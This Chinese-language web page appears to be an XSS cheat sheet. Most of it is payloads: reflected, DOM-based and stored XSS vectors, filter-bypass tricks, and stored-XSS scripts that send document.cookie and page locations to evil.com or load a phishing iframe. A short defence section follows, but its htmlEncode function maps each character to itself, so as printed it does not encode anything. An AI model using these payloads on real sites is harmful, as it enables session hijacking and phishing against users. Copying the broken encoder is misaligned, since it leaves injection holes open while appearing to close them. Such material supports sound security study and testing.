⚡ XSS速查

XSS攻击速查,反射/存储/DOM型XSS攻击向量和防护

反射型
存储型
DOM型
绕过技巧
防护
反射型XSS Payload
<script>alert('XSS')</script>
基础script标签 HTML
<img src=x onerror=alert('XSS')>
img标签onerror HTML
<svg onload=alert('XSS')>
SVG onload HTML
<body onload=alert('XSS')>
body onload
<input onfocus=alert('XSS') autofocus>
input自动聚焦
<marquee onstart=alert('XSS')>
marquee标签
<details open ontoggle=alert('XSS')>
details ontoggle
javascript:alert('XSS')
javascript协议 URL
存储型XSS场景
存储型XSS的Payload与反射型相同,但注入点不同。常见注入点:
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
窃取Cookie - 注入到评论区/用户资料
<img src=x onerror="new Image().src='https://evil.com/log?u='+document.location">
记录用户访问
<script>document.write('<iframe src=https://evil.com/phishing width=100% height=100%></iframe>')</script>
钓鱼iframe
<script>new XMLHttpRequest().open('POST','https://evil.com/steal',true);new XMLHttpRequest().send(document.cookie)</script>
AJAX外传数据
DOM型XSS Payload
DOM型XSS不经过服务器,完全在客户端发生。常见漏洞源:
#<img src=x onerror=alert('XSS')>
location.hash → innerHTML
?default=<script>alert('XSS')</script>
location.search → eval/document.write
javascript:alert(document.domain)
postMessage来源验证缺失
data:text/html,<script>alert('XSS')</script>
data协议注入
<img src=x onerror=alert(window.name)>
window.name注入
绕过技巧
<IMG SRC=JaVaScRiPt:alert('XSS')>
大小写混合绕过
<img src=x onerror="alert('XSS')">
HTML实体编码绕过
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>
Base64编码绕过
<img src=x onerror=alert`XSS`>
模板字符串绕过括号过滤
<scr<script>ipt>alert('XSS')</scr</script>ipt>
嵌套绕过script过滤
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
charCode绕过
<svg/onload=alert('XSS')>
去掉空格绕过
<img src=x onerror=alert(/XSS/)>
正则绕过引号过滤
🛡️ 防护措施
1. 输出编码(最重要)
// HTML上下文编码 function htmlEncode(str) { return str.replace(/[&<>"']/g, c => ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' })[c]); } // JavaScript上下文编码 function jsEncode(str) { return str.replace(/[\\"']/g, '\\$&') .replace(/\u0000/g, '\\0') .replace(/\n/g, '\\n'); } // URL上下文编码 encodeURIComponent(userInput);
2. Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
3. HttpOnly Cookie
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
4. 框架内置防护
• React: JSX自动转义,避免dangerouslySetInnerHTML
• Vue: {{ }}自动转义,避免v-html
• Angular: 自动转义,避免[innerHtml]不经过DomSanitizer
• 使用DOMPurify库净化HTML